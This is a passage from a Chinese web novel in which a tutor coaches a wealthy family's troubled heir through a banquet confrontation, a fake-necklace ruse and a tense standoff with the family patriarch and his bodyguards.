江凯乐笑了,用手挑起它的叶子,嘲弄的话里饱含难以抑制的自厌:“明明这么弱,怎么偏偏长在了这里啊。” “这恰恰证明了它的强大。”温雅稳重的嗓音破开狂风暴雨,从少年的背后传来。 江凯乐惊讶转头,看见谢叙白对他微微一笑,挥臂指向周围的大树:“看看这些树,它们挡住它的阳光,汲取它成长的养分,本来是必死的局面,可它还好好地活着,难道还不算强大吗?” “江凯乐,相信我。”谢叙白和少年颤抖的瞳孔对上眼,坚定温和地说道,“它注定石破天惊,一鸣惊人,长成其他树都要仰望的参天巨树,而今不过是缺少一个契机。” “你……”江凯乐好像能领悟到谢叙白话里的深意,又直觉那不太可能,强装镇定硬邦邦地说,“你今天怎么回事,突然这么亢奋,吃错药啦?” 谢叙白但笑不语,拿出纸巾,抽出一张,盖在少年被打湿的头发上,轻揉擦拭。 江凯乐瞬间不自在极了,更不自在的是他居然不会觉得被冒犯,连忙伸手去挡:“我自己来!” “所以你想不想?” “想什么?” “靠自己的力量接手江家。” 宛如晴天霹雳径直砸下,江凯乐瞪大眼不敢置信地看着谢叙白。 后者等少年捂着脑袋差点原地化身尖叫鸡之后,才笑着说道:“放心。今天我提早来的,管家还没机会在我身上安装窃听器。” “那你也不能……!”江凯乐心脏扑通跳动,就是当初从江家逃出来也没现在刺激,飞快地东张西望,“那你也不能在这儿说啊!” “就是在这里才能说。今天江夫人要在正厅宴请宾客,大多数佣人都被喊去帮忙了,保安保镖也被叫去维护秩序,这才难得给我们留了一个清静地。” 听着谢叙白从容不迫的话语,江凯乐忍不住问:“你怎么知道?” 他一直呆在房间里,窗户被铁条封住,看不到外面的景象,听到雨声太大才跑下来。 那时候花园已经差不多空了,没几道人影,可他也没细想,更不知道江夫人要宴请宾客。 谢叙白举起手机晃了晃:“昨晚江夫人特意咨询我,有没有什么适合送给夫人太太的护肤产品,顺便一提,她还挑了个容光焕发比较显年轻的妆造,应该是太太团里有她看不顺眼的老冤家。” 江凯乐维持着目瞪口呆的模样,一句牛逼差点脱口而出。 同时他注意到谢叙白手里拿着的首饰盒:“这是什么?” “这是你要送给江小姐的礼物,帮她在今天的宴会上拔得头筹。” 江凯乐懵了:“啊?我送?” “当然,不然一个支持者都没有,你要怎么越过江家主掌控江家?”谢叙白理所当然地看向他,眼里浮现着淡定从容的笑意,“而这将是我们课外要上的第二课,《人脉》。” 第26章 一切真如谢叙白所料…… 江家会场。 正厅被装饰得富丽堂皇,地板墙壁被打扫得干干净净,厚实柔软的红毯铺在脚下,天花板上的古典水晶吊灯闪烁着绚烂的亮光。 各种穿着高雅定制礼服的名门贵族在大厅中走走停停,谈笑间碰杯对饮。 馥郁的花香与酒香混杂在一起,浓烈扑鼻,让从小就抗拒参加这种宴会的江凯乐很不适应,乃至于有点拘谨躁动。 “为什么非要在这种时候送江欣项链啊,她又不缺。” 身边的谢叙白一时没说话。 江凯乐忽然想起,青年好像是穷苦出身,肯定比自己还要不习惯这里的氛围,当即眼睛一亮,精神抖擞:他可是东道主,怎么能不帮衬点自己的家教? “咳咳!除了江家人,你还没和其他名门接触过,是不是很紧张?别担心,我来为你介……” 绍字还没有说出口,江凯乐看见青年食指竖在唇边,对他做了一个噤声的手势。 夫人太太们的谈话声从隔壁传来。 “哎呀,几天没见,江夫人的气色真是越来越好了,这皮肤看着也比前段时间水润嫩滑上不少,比雪还白,真是富贵养人。” 江夫人掩唇笑得合不拢嘴:“哪有,哈哈哈。实话和你们说了吧,我的皮肤突然变得这么好,都因为前不久刚联系到的美容顾问!他可是从国外进修回来的专家,获得过不少国际荣誉奖项,有一整个专业团队,近期正在研制能使人变得青春靓丽的护肤品……” 其他夫人惊喜道:“真的吗?真这么有效果?” “当然,你们看我不就是例子吗?虽然他们的产品还没有正式发售,但如果你们实在想要,凭我的面子,还是能让他送一些的。” 江夫人弯眸得意洋洋地说着,忽然语调一转,意有所指地看向另一边脸色不太好的女人:“不说别的,就说张夫人终日操劳家里的烂摊子,脸都比上次枯黄许多,这可要不得呀。” 他母亲还真在宴会上和张家夫人这个老冤家针锋相对起来了,和谢叙白说的一模一样! 江凯乐在旁边恍恍惚惚。 还没来得及做出反应,又见谢叙白食指朝左,指向正侃侃而谈的富家子弟。 一名男生说道:“嚯!你这肌肉是充气涨起来的吧?不到一个月的时间能锻炼出这效果?” 江家某表哥意味深长地摇了摇手指:“嘿嘿,这你就不知道了吧,来我偷偷告诉你。” 男生狐疑地凑过去,先拧眉,后瞪眼,一脸震撼加惊喜,拽着人说:“真有这种神医?快快快,把他的联系方式推给我!” “就知道你小子肾虚……” 这还没完,谢叙白的食指再次一晃,指向远处西装革履的中年总裁。 有人笑道:“江爷今天的兴致看上去不错,是不是公司那事解决了?” 江家大伯也笑着回应:“是啊,得亏有高人相助。不过这也说明我江世安福星高照,气数未尽,哈哈哈!” 那人瞬间好奇得不行,逐渐压低声音:“那么棘手的问题居然真能顺利解决?到底是哪位高人,方不方便透露一下……” 一路走来,江凯乐不知道捕捉到多少对“某位专家”的大力夸赞。 他知道这些专家其实都指向身边的谢叙白,但那些人不知道,不仅不知道,在如此巧合的情况下,甚至没人产生一点怀疑。 因为他们怎么都想象不到,能力如此出众的美容师、高级会计、侦探……居然可以是同一个人! 谢叙白在无形中成为整场宴会的话题焦点中心,依然神色自若。 他拿出开启静音模式的手机,让江凯乐看到上面源源不断弹出来的提示消息。 就这么一小会儿的功夫,至少有十多个名门贵族在江家人的推荐下,来申请加他的好友。 江凯乐不明觉厉,肩膀激动地往上耸,没几秒又泄气地耷拉下去。 什么嘛,明明是在他家,谢叙白却比他更如鱼得水,根本不需要他。 “现在还会怕吗?”谢叙白忽然问。 江凯乐猛然抬头:“怕什么?” “从刚才进门开始,你就一直绷着身体,我以为你在害怕不安,现在看来是我多虑了。”谢叙白拍拍少年的肩膀,用只有他俩能听到的声音轻笑道,“不过我还是想告诉你,不要为自己不熟悉的场面感到害怕,不用为面对形形色色的人而拘谨,我就在你的身后。” 先告诉你我有掌控全局的能力,再告诉你我将成为你坚实的后盾。 刹那间,江凯乐能感受到的何止是安心? 心潮澎湃,翻江倒海。他感觉脚下踩着的不是江家的土地,而是他的王国! “又在想些什么?”青春期的少年总是容易浮想联翩,被小孩不错眼看着的谢叙白有种自己似乎被神化了的感觉,当即哭笑不得地拍他一下,“好了,江小姐已经十分钟没出现了,我们去找她。” “不出意外的话,她应该在会场后面的庭院。” 江小姐叫江欣,是江凯乐的表姐,刚正飒爽的性格在江家也算是一股清流。 但她和江凯乐的关系不是很好。或许是江凯乐的风评摆在那,让她一直觉得对方是个在逃杀人魔。江凯乐根本不屑于解释,也懒得理她。 两人顺着侍从的指引来到庭院,果不其然看到了江欣的身影。 只不过除了江欣,还有一男一女正站在她面前与她对峙。此外还有许多同龄的少男少女,将他们虚虚地围成个圈。 庭院和会场是互通的,无论楼上阳台还是楼下后门,都能看到这边的动静。不少人抱着看热闹的心思,探着头往这边张望。 江欣气得声音都在颤抖,对一男一女中的男生冷冷道:“我再问一遍,你和她到底是什么意思?” 男生悻悻地摸了摸鼻子:“欣儿,你误会了,我和她真没有什么,只是普通的兄妹。” 女生也一脸我见犹怜地蜷靠在男生的怀里,无辜可怜地说道:“是啊欣姐姐,我和文斌哥哥真的没什么,你要相信我们啊。” 江凯乐正义感强,这经典得可以列入十大狗血剧名场面的茶言茶语,简直快把他给气笑了。 他也不傻,起哄抓小三却被狗男女倒打一耙的事情,在豪门圈子里屡见不鲜,只看个大概都能琢磨出前因后果。 更让江凯乐恶心反感的是,看到江欣被狗男女戏耍,其他江家子弟居然没有一个上前帮忙,都在旁边乐呵呵地看好戏。 恰在这时,女生似乎觉得自己正处于这场闹剧的上风,洋洋自得,竟瞄着江欣脖子上的蓝宝石项链,佯装惊讶地咋呼起来:“呀!这不是文斌哥哥以前送给我的项链吗?我说做工太劣质,不好看,便没有要,怎么,欣姐姐喜欢?” 江欣下意识拽住脖子上的项链,刹那间脸都绿了,死死地盯住心虚埋头不敢吭声的男生。 江凯乐终于知道谢叙白为什么要让自己送项链。 虽然他和江欣不对付,但在江家的地盘欺负江家人,他能忍?当即拿着首饰盒就准备冲上去。 谢叙白看少年气势汹汹,不像去救场,更像要撸袖子干架,眉毛一跳,连忙把他拉住:“先等等,你准备怎么帮江小姐解围?” 江凯乐仰头,一副自己很有经验的样子,冷笑道:“先把男的脸揍开花,再把他的腿打骨折,让女的别嚣张,最后把项链套在他俩的脖子上,祝狗男女天长地久,永远锁死。我保证这两个恶心人的家伙以后再也不敢出现在江家。” “……”谢叙白无奈的同时,又有点忍俊不禁,“我可算是知道,你在新闻报道上的‘累累战功’是怎么打拼出来的了。” 江凯乐这才意识到不妥,小心偷瞄谢叙白的脸色:“抱歉,我习惯了……你不反感吗?” “特殊群体特殊对待,为什么要反感?作为解围方法来说,这招也很有用。” “缺点是,它会让你的名声变得更差,所以我还是不太建议。”谢叙白微微一笑,低声给江凯乐支招,“听我说,你这么做就行了……” 另一边,人们眼中戏谑之意越来越浓郁,对着江欣三人指指点点,窃窃私语。 就在江欣心想要不要把项链摘下来塞那女的嘴里时,江凯乐出场了。 少年的恶行可谓是声名远扬。 看到他现身,还在看热闹不嫌事大的少男少女们浑身一震,跟看见洪水猛兽一样,不约而同地往后退开一步,让出条宽敞的路。 令他们没想到的是,平时和火爆猴般上蹿下跳的江凯乐,如今居然没有瞬间冲过来,两只脚不紧不慢,走出了闲庭信步的姿态。 气氛一时变得微妙且死寂。准备教训狗男女的江欣不希望这个时候还有人出来搅局,何况那人还是江凯乐,当即沉下脸。 不过在她说话之前,江凯乐先瞄着她脖子上的项链开了口,满满都是嘲讽轻蔑的意味:“真丑啊。” 满心怒火的江欣差点被这一句话点爆,接着又听江凯乐扬声说了一句:“就算咱们江家乐善好施,也不至于扶贫到这种程度吧?什么垃圾玩意送的垃圾东西你都肯收?行行行,我知道你心软善良,看到野狗在路边喜滋滋吃屎都觉得它深有苦衷呢——” 江凯乐转向男生:“是吧,狗先生?” 男生愣了一下,瞬间脸颊涨红:“江凯乐!” 瞬间,围观人群中有人没憋住,噗呲一声笑了出来,连江欣都满脸意外。 但江凯乐的火力可不仅限于开在这儿,调转矛头看向男生怀里的女生,鄙夷地睨过去:“而且我真不知道你是纯傻还是装傻,眼瞎如你都能看出那项链劣质丑陋,那男的居然还能觍着脸地送给你。而且送一个没送成功,居然转头又送给另一个人,这种手里没钱又爱装逼的傻逼,你还和他贴这么近,真不怕染上他的穷酸相?” 随着江凯乐的阴阳怪气,其他人看过来的眼神也怪异起来。 作为名门之后,被骂穷酸属于致命一击,更致命的是,江凯乐说得好像有那么一点道理。又不是家里缺钱,男生这表现,不是穷酸吝啬又是什么? 女生脸皮扭曲,被他们看得浑身不自在,要被人误以为她拿着草杆儿当成宝,那是真丢脸。 她抬头看着脸色一阵青一阵白的男生,一时间离开也不是,继续靠着也不是。 "江!凯!乐!"男生是真被说破防了,眼中满是愤恨,结果江凯乐一句话把他钉在原地,“想清楚,这里是江家,你真准备和我动手吗?” “我倒是无所谓。”江凯乐活动手腕,抬眸一刻,眼神自信且张扬,“但要是把客人揍得屁滚尿流,对江家的声誉似乎不太好,劝你冷静一下。” 男生看着江凯乐暴戾的表情,像被掐住脖子的鸭子,脸皮扭曲,格外滑稽。 “对嘛狗先生,这样才乖。”江凯乐嗤笑一声,不顾男生气得怒发冲冠,看向江欣还没来得及摘下的项链,笑着说,“这东西太丑,别脏了你的手,让我帮你取下来?” 江欣真没想过江凯乐是来为她救场的,还把那狗男女怼得哑口无言,给她好好出了一口恶气。 她攥了攥项链,终是恍惚地松开,复杂地看向江凯乐:“有劳。” 江凯乐记得谢叙白说过,对待女孩子的时候一定要有细节,动作不能太粗鲁,便伸出手去,细致小心地为江欣解开项链。 项链一脱落,江凯乐嫌弃地把它丢到男生的脚下,江欣的神情也是一松。 本以为这出闹剧到这里就结束了,没想到江凯乐反手伸向口袋,拿出一个精美的首饰盒。 首饰盒上花纹繁琐且美妙,一看就不是凡品。当它被打开的时候,静置其中的红宝石表面折射出光亮,璀璨夺目的模样立马引来大家的惊呼。 这颗项链上的红宝石实在是太美了!表面经过精雕细琢,晶莹剔透,质地光滑如镜。它的色泽瑰丽无比,犹如火焰在里面熊熊燃烧,令人心驰神往。 而男生送的蓝宝石项链,此刻是真正意义上被比了下去,说它是劣质品完全不过分。 “这是女王之心!” 江凯乐特意拿着首饰盒转了一圈,迎着无数双出神的目光,笑着开口:“著名宝石制作大师从维拉女王那得到灵感后制作的瑰宝,传闻那名女王见百姓疾苦、民不聊生,便鼓起勇气手刃当时荒yin无道的昏君,在她登上王座后,更是将国家治理得井井有条,繁荣昌盛!” “这颗宝石项链,象征着女王的高贵强大,也象征着女王除暴安良的英明。此时此刻——” 江凯乐转向江欣,将宝石项链递出,笑得神采飞扬:“美丽的女王,它就是你的代名词。一切喜欢作乱的宵小,最后也只能成为你的踏脚石。” “所以,我能为你戴上它吗?” 人群哗然,最开始只是凑热闹的他们,此时也不免为之震撼、吃惊、不敢置信。 让他们惊羡的不止是江欣能够得到这颗红宝石,而是送出这颗红宝石的人,是江凯乐,江家唯一嫡系继承人。 万众瞩目之中,江欣的呼吸愈发急促。 她简直不敢相信刚才发生了什么,看着狗男女惊呆难堪的模样,看着群众艳羡嫉妒的眼神,一股无法言喻的快意将她包裹。 “……当然。”江欣的语气变好不少,甚至称得上柔和,“麻烦你了。” 江凯乐便将项链拿出来,为江欣戴上。 庭院的动静闹得沸沸扬扬,会场正厅里的大人们也被吸引过来,正巧看见宝石垂落在江欣的颈间。 红宝石与白皙柔嫩的皮肤两相辉映,漂亮至极,让人完全挪不开眼睛。 在这一刻,江欣真如谢叙白所说,成为了整场宴会的焦点。 江凯乐其实蛮紧张的,给他记台词的时间就那么多,他怕自己说错话搞砸,还好有惊无险地演到了最后。 看见谢叙白在人群中鼓掌,笑着为他比了一个大拇指,江凯乐瞬间有点飘飘然。 正准备走的时候,忽然听到江欣在身后说:“对不起。” 江欣连续深吸几口气,才平复下激动的心情。她对上江凯乐疑惑的眼神,继续道:“我之前对你存在偏见,你并没有我想象中那么坏,哪怕你小时……” “候”字没有出口,见江凯乐脸上的疑惑越来越重,江欣似乎意识到什么,咽下后半句话:“没事。” 早就过去的事情还提它干嘛,况且那事实在有点吓人,江凯乐忘了也好。 “总之谢谢你。”江欣对江凯乐露出一个灿烂的笑脸,“你送的礼物我很喜欢,我会记住你帮了我一个大忙,如果以后有需要我的地方,尽管提。” 江凯乐见她万分感激的模样,脸颊有点烧热,这还是他第一次被人正儿八经地感谢! 他说话都结巴了起来:“没事,都、都是小意思,我先回去了,你别管那两个狗男女,一会儿我叫保安把他们丢出去。” “好。”江欣笑着道。 望着江凯乐同手同脚离开的背影,她摸了摸宝石项链。 刚才有一瞬间,她差点就对少年心动了,只是最后关头突然反应过来,江凯乐没有做出这种漂亮反击的脑子和情商。 有谁在背后指点他? 江欣抬眼看向站在江凯乐身边的谢叙白,隐约记得下人提起过,那是江家主给江凯乐找来的家教。 手段这么高明……会是个正经的家教吗? 谢叙白注意到女孩的审视,抬眸笑着看了过来。 他的眼神不卑不亢、安然坦荡,反倒叫怀疑他的人自惭形秽。 是我多虑了吧。江欣摇头。 谢叙白将这一幕收纳眼底,对江凯乐说道:“江小姐很优秀,没准以后能成为你身边强大的助力。” “啊……?她啊,助力,也行。”江凯乐还沉浸在被人感谢的飘忽中,忍不住问,“你怎么知道江欣今天会被渣男贱女刁难?” 谢叙白晃了晃手机:“我可是江小姐聘请的私家侦探,你猜什么样的情况会需要用到我?其实她对男朋友的背叛有所预料,只是还在期盼一种缥缈的可能性。” 江凯乐彻底心服口服,拍拍胸口。谢叙白看他心情很好,忍不住笑:“感觉怎么样?” “还不错!如果这样就能继承江家,那也太好了吧。” 江凯乐还以为要把自己也弄得一身脏,情不自禁地说:“简直和行侠仗义一模一样。” “行侠仗义?”谢叙白有点意外,“你怎么会想到这个词?” 一般人可能会觉得轻松,或是觉得这样做太弯弯绕绕,“行侠仗义”难免就有点天马行空了。 见谢叙白满脸狐疑,江凯乐一愣,脸颊羞赧地一红,闭上嘴巴怎么都不肯说。 但谢叙白又怎么会放弃这种打开江凯乐心防的好机会? 接下来的时间。 江凯乐交上课堂作业,谢叙白批改,若无其事地将本子递过去:“不错,满分。行侠仗义是指什么?” 江凯乐给小树苗浇水松土,谢叙白来后指点他:“对,这里需要铲松一点,增加土壤的透气性。行侠仗义是指什么?” 江凯乐锻炼身体,豆大的汗珠顺着脸颊滑落,谢叙白顺势递上水和毛巾:“运动之后不能马上停下来,注意调整呼吸。行侠仗义是指什么?” “这道题答得很好,看得出你背后下了一番苦心,不错,表扬!行侠仗义是指什么?” “来,这是厨房新做的点心。行侠仗义是指什么?” “行侠仗义是指……” “行侠仗义是……” "行侠仗……" “够了!”江凯乐脸颊爆红,“就是我小时候看完电视觉得当大侠很帅,一直想要学他们行侠仗义,行了吧?” 怎么会有这么喜欢闹学生的老师啊!江凯乐实在招架不住,只能露了自己的老底。 他以为谢叙白接下来肯定会捏着“大侠”或者“行侠仗义”的话茬不放,毕竟这梦想天真又幼稚,很容易惹人笑话。 谁知道谢叙白莞尔一笑后,竟然再也没提过。 直到有一天,江凯乐看见家里的女佣摔倒了,锅碗瓢盆掉了一地,没忍住去帮忙。 女佣先是道谢,后来看到扶她起身的人居然是江凯乐,脸上呈现出明显的吃惊和惧怕,忙不迭地抽手说道:“不用了大少爷,我来就好!您歇着吧。” 江凯乐一眼望见女佣眼底深深的恐惧,两只手霎时僵在半空。 怎么了?被我碰一下要死要活的,谁稀罕帮你一样。江凯乐抿着嘴唇,忍不住愤慨地想。 换成以前,他不仅会甩手走人,还要一脚把瓷盘踩个稀巴烂,让女佣费劲儿去收拾。 但这次,他什么也没做,站在原地,目睹女佣把地板收拾干净后落荒而逃。 谢叙白出现在他的身后,伸手揉揉他的脑袋:“见义勇为,江少侠做得不错。” 江凯乐还郁闷着,陡然听到“少侠”的称呼,就跟被踩到尾巴的猫一样,红着脸跳开:“你喊我什么?不是说好不再提这茬的吗?” “嗯?”谢叙白疑惑道,“我之前答应过吗?” 确实没有。是少年见谢叙白没再提,想当然地认为自己已经逃过一劫。 谢叙白失笑:“想成为大侠又不是什么可耻的梦想,我小时候还做梦可以在糖果屋里醒过来,抱着房子大吃特吃。” 江凯乐羞耻心仍在:“你都说了那是小时候。” “可我现在也想,你不认为拥有一个糖果屋很酷吗?奶糖饼干棉花糖,门口还有条可以尽情畅饮的巧克力河。”谢叙白笑盈盈地看着他。 江凯乐顺势一想,嘶,怎么办,他好像也忍不住心动。 不管怎么说,谢叙白的态度还是让他愿意就这个羞耻的话题聊下去。江凯乐说:“可现在哪还有什么大侠,说出来让人笑话。” 谢叙白倒是不假思索:“钢O侠?蜘O侠?” 江凯乐茫然了一瞬:“那是什么?” “听前同事提起过,是国外科幻电影的主人公,很有名。” “国外?就没有国内的吗。”江凯乐同学皱了皱眉头,他认识的侠,是老电视剧里那种仗剑走天涯快意恩仇的大侠,才不认什么国外的侠。 这次谢叙白倒是想了很长一段时间:“猪猪侠?” “猪也能成侠吗,老师你说得越来越离谱了。” 谢叙白见少年满脸不信的模样,屈指在他额头上轻敲一记:“猪聪明着呢,可别瞧不起猪,江少侠。” “能别这么喊我吗?”江凯乐又忍不住羞红了脸,“我就扶个人而已,你管我叫侠?” “勿以善小而不为。”谢叙白很有说辞,“只要你一直保持着善心,老师相信,总有一天你能成为万人敬仰的大侠。” 江凯乐被他郑重其事的声音弄得热血沸腾,情不自禁地观察对方的脸,试图找出一丝安慰或哄弄自己的地方。 结果是没有。 谢叙白弯眸看着他,眼神坚定不移且充满信心,仿佛在他的眼中,江凯乐已经是个叱咤风云的大侠了。 江凯乐终于沦陷。 这不怪他。少年心想,像谢叙白这样的老师,谁能顶得住不去信任和依赖他? “我……”在不好意思的时候,江凯乐的声音还是那么的干巴巴,不同的是,这次他不再掩饰自己的期许,“等到我学成之后——” 等到我变成江家主之后—— “老师你愿不愿意陪我一起看那个什么钢O侠,蜘O侠,还有猪猪侠?你也只是听说过,没看过的,对吧?” 你愿不愿意继续当我的老师? “好。”谢叙白揉着他的后脑勺,看着少年闪闪发光的眼睛,那是独属于少年人的意气风发。 他的心仿佛也为之点亮,情不自禁地笑着说:“到时候老师陪你一起看,把想看的都看完。” 让江凯乐给江欣送宝石的那事,到底还是引起了江家主的注意。 毕竟江凯乐的开销都由江家全权掌控着,女王之心这么珍贵的项链,少年买不起。 面对江家主的怀疑,谢叙白很淡定:“哦,那确实是我给江少爷的,是租来的高仿。” 江家主:“……你没开玩笑?” 高仿?还是租的? “江家主说笑了,女王之心那么名贵的宝石,我怎么可能买得起?”谢叙白低眉顺眼地说道,“只要没有不长眼的人在江小姐面前多嘴,江小姐应该不会头脑一热把东西拿去鉴定真假。” “江少爷第一次愿意和江家人重归于好,不能闹得太僵,不然不好收场,江少爷也会因此退缩。” 听到这话,江家主浑浊深沉的眼睛瞬间清澈了不少,连忙叫管家去处理这事,务必不能暴露。 “然后,我个人还有一个请求。”为了贯彻贪财人设到底,谢叙白做出囊中羞涩的表情,“送给江小姐的宝石项链应该拿不回来了,这租项链和赔偿的钱,江家给报销吗?” 江家主:“…………” 一切都在往好的方面发展。 江凯乐不再意气用事,也不再只用拳头说话,或者动不动发怒暴起。 他在谢叙白的引导下,逐渐学会该怎么和人正常相处,又该怎么利用人情世故来应对江家人,把他们成功收服,变成自己的助力。 却没料到,江家主有天突发奇想,给江凯乐找来一个礼仪老师。 本来江凯乐身边只有谢叙白一个老师,是因为他只听谢叙白一个人的话。 江家主也明白这点,所以一直没有安排其他的老师。现在安排,难说是不是看江凯乐最近消停不少,又生出用自己人控制他的心思。 江凯乐眯了眯眼睛,看着眼前高抬下巴命令他起身鞠躬行礼的礼仪老师,不轻不重吐出一个字:“不。” 盛气凌人的礼仪老师还没反应过来,忽然见江凯乐手扶着桌沿,嘭的一声,将桌子大力掀翻!上面的东西噼里啪啦砸了一地。 “你算是个什么东西?”江凯乐语气森冷,一字一顿地说,“也敢自称为我的老师?” 十分钟之后,正在家里写教案的谢叙白,突然接到老管家心急火燎的电话,让他赶快到江家“救火”! 谢叙白想也不想快速赶往江家,边在电话里问:“发生了什么事?” 管家支支吾吾,没有说得太清楚,只强调江少爷见到新老师后突然暴起,当场掀了桌子不说,还囔囔着要打人。 “……”谢叙白道,“我知道了。” 很快,谢叙白来到江家,又跟随等候在门口的保镖一起上楼,来到江凯乐的房间。 看见江凯乐狰狞着脸,手脚好像不受控制一样颤颤巍巍地疯狂抖动着,忍着剧烈的疼痛,将下唇咬出鲜血,谢叙白再次想起吕向财的那句话。 ——提线木偶知道吧? 看到谢叙白的到来,老管家立马松了口气,江凯乐也是眼前一亮,委屈巴巴地看着他。 “老师……” 谢叙白三步并作两步来到江凯乐旁边,他伸手,无论怎样都摸不着那些束缚江凯乐的线,便深吸一口气,揉了揉少年的头:“道歉。” “?为什么,我不道歉!我绝不承认这家伙是我的老师!”江凯乐痛到脸皮抽搐都没现在难过。 “老师知道。”谢叙白看着江凯乐的眼睛,柔声说,“相信老师吗?” 青年在衡量完得失并想出对策的时候,就会露出这样的眼神,温和的,平静的。 “……”江凯乐抿唇,不情不愿地看向礼仪老师,阴沉着脸说,“对不起。” 话音刚落,江凯乐的手脚一松,感觉到他的顺从,那股束缚他的力量消失了。 就在礼仪老师松口气并得意一笑,老管家情不自禁露出满意神色时,谢叙白突然伸手,快准狠地给了礼仪老师狠狠一拳! 嘭!猝不及防的礼仪老师被打翻在地。 瞬间,包括江凯乐在内的所有人都惊呆了。 第27章 触手教跳舞 就算谢叙白平时疏于锻炼,那也是一个成年男性,全力一击下,直接将礼仪老师给打得晕头转向。 后者好几秒才感觉到剧烈的疼痛,立马捂着被揍的脸惊恐哀叫起来。 叫声传开,佣人保镖们哗然。 向来板着脸的老管家更是瞪大眼珠子,第一反应是,谢叙白怕不是突然疯了! 他脸色一沉:“谢……” 谁曾想谢叙白冷着脸,看起来比他们还要激动愤怒,震声囔囔:“你们到底是什么意思?当初江家主不是承诺只要我能让江少爷乖乖听话,就保证我在江家的地位吗?!” “眼看着我辛辛苦苦快把少爷给调教好了,你们就找个人来顶替我,准备卸磨杀驴了是吧,啊?我——” “谢老师,你在说什么胡话!” 看着江凯乐懵逼中不敢置信的脸,老管家只感觉自己被一个晴天霹雳当头砸中,全身寒毛都给激了起来。 一瞬间他哪还顾得上去兴师问罪?只想在江凯乐彻底爆发之前,赶紧把谢叙白这个勇于自爆的祖宗稳住!便想也不想地冲了上去。 哪知道气急的谢叙白力气还挺大,老管家刚拽住青年的手,反被他用力地甩到一边,狼狈地踉跄好几步。 老管家连忙喊上两三个保镖,这才拉住暴怒的青年。 场面兵荒马乱,甚至没人顾得上被揍的礼仪老师。 老管家好言好语地劝说:“谢老师您冷静,怎么能当着少爷的面胡说八道?控制少爷和顶替您什么的都是无稽之谈!我们先出去说,来,这边请……” 即将被带走的前一刻,谢叙白看向屋子里僵立不动的少年。 江凯乐似有所觉地转过头,和人对上眼。 原本怒不可遏的谢叙白,此时此刻表情竟是出奇的平和,眉眼微弯,冲他露出一个安抚的笑。 然后谢叙白就被带出了房门,不出意外,应该是去面见江家主。 徒留江凯乐站在陡然空旷下来的房间里,还有几个守门的保镖。 空气静得针落可闻。 少年在一片死寂中,缓缓按住起伏不定的胸口。 他的思绪很乱,但没有动,因为知道自己容易冲动上头。现在动起来的话,怕是会忍不住把房间里的东西都砸了。 谢叙白之前也教导过他,脑子一热产生出来的想法,更应该冷静下来仔细斟酌。 靠着不断回忆谢叙白离开前那温柔的眼神,不多时,少年急促的呼吸逐渐变匀,眼神从愤慨到深沉。 他想通了关键。 ——为了取得父亲的信任,老师肯定要向对方口头应允些东西。 忠诚?对自己的控制和监视?可能两者都有。 ——而老师刚才的自爆行为,无疑是把自己置于一个极度危险的境地。 他相信老师不是他这种意气用事的人,敢动手应该是想到了应对的方案,可那并不代表万无一失。 ——他得做点什么,来保障老师的安全。 感觉自己已经冷静下来的江凯乐,张望四周,最后看向门口的保镖。 【你不能急,先急的人先输。】谢叙白温雅的嗓音仿佛浮现在少年的耳边。 江凯乐朝门口走过去,速度不紧不慢,边回忆老师的教导,边刻意调整自己的步伐和姿态。 【挺胸抬头,两条腿要绷直,步伐可以适当放大,不能回避他人的目光,眼神要坚定。】 【减少微表情和小动作,不要让一些下意识的举动暴露自己的内心,那会让人觉得你很好拿捏。】 【你不应该害怕江家人,尤其是江家的下人。江家的整体氛围让他们习惯于见人下菜碟,而作为江家唯一的继承人,你在地位上对他们有绝对的压迫力。】 谢叙白仿佛出现在他背后,单薄却有力的手往他背上虚虚一拍:【去吧,我一直在你身后。】 当江凯乐在保镖面前站定的那一刻,凌厉的气势几乎从他的眼神、步伐和表情中迸发出来。 他和平时看起来很不一样,让本来有点不以为意的保镖下意识挺直腰背,放低姿态询问:“江少爷,您这是想出门?” “不。”出乎保镖的意料,江凯乐说道,“我要你帮我做一件事。” “什么事?您说。” “告诉我的父亲,我只认谢叙白是我的老师,没有之一。” 保镖们面面相觑,干笑道:“这可能不行,江少爷,我们怎么敢擅自闯……” “父亲的身体越来越差了,我之前似乎还看到他在呕血,有些担心。”江凯乐面无表情地看着他们,语气自然和缓,“但我知道自己身为一个继承人所肩负的重任,父亲若是倒下去,我一定会在第一时间撑起江家的门墙。” 保镖们的笑容卡住。 江凯乐继续说道:“你们对父亲忠心耿耿,这很好。我承诺,若我继任江家的位置,必定会让你们一直陪着他,成全你们的忠心。” “……!!” 少年说得很清楚,江家主死了之后,他才会接手江家。 那么,什么样的情况,他们能一直陪着个死掉的江家主?必然也是在死掉之后! 保镖们气息不稳,惊恐地说道:“江少爷,您可不能开玩笑啊!” “开玩笑?我吗?没有啊,我很认真的。”江凯乐轻轻地笑了一声,“大家放心,我向来言而有信,烧掉家族宗祠那么困难的事,我小时候不也说到做到了吗?” “还是说,你们觉得自己比江家祠堂的分量大?” 保镖们触及江凯乐满是戾气的笑眼,浑身冷汗直冒,完全失声。 眼前言笑晏晏的少年对他们来说是如此的陌生,好像以往暴躁冲动的形象都不过是他伪装的壳,其壳内隐藏的,是一头恐怖嗜血的怪物。 “在我的老师回来之前,我哪儿也不去。”江凯乐还是一样的语气,“去吧,不要让我等太久。” 另一边。 江家主听完老管家的叙述,当即不悦到了极点,看向谢叙白,目光冷厉:“谢老师,你有什么话想说?” 谢叙白的声音一样冷,指着旁边瑟瑟发抖的礼仪老师说道:“什么话想说?现在不应该是江家该给我一个合理的解释吗?” 江家主的脸色黑得可怕,嘭的一声用力砸向桌子:“我是不是给你脸了?” “你不过是小小一个家庭教师,别说江家随时都能辞退你,就算在这里杀了你,又有谁知道,谁敢说句不是?” 仿佛应召着江家主的话,周围的保镖纷纷将手伸进怀中,偌大的书房里,隐约能听见咔嚓几声脆响。 那是子弹上膛的声音。 本以为这样就能吓得青年脸色大变、慌忙认错,不料谢叙白竟当众冷笑一声,完全无畏:“你以为我是第一次被威胁吗,江老爷?” 他说话间,从衣服里摸出一把锋利的袖珍折叠刀,抵在自己的喉咙上。 如此架势,别说江家主没料到,就连周围做惯脏活的保镖们都是一愣。 “当初被校长侄女抢占名额的时候是这样,后来被狗屁富家子弟骗钱时又是这样,现在进了你们江家还是这样!”谢叙白吼得面红耳赤,愤怒的声音充斥整间书房,“这世界就是这么个鸟样,我还努力什么?不如死了算了!” “至于那劳什子的江少爷,他恨你们真是恨对了,你们江家人就互相折磨去吧!老子不奉陪了!” 听到最后一段话,先前在管家耳边炸开的晴天霹雳,现在仿佛又一次在江家主的脑子里炸响。 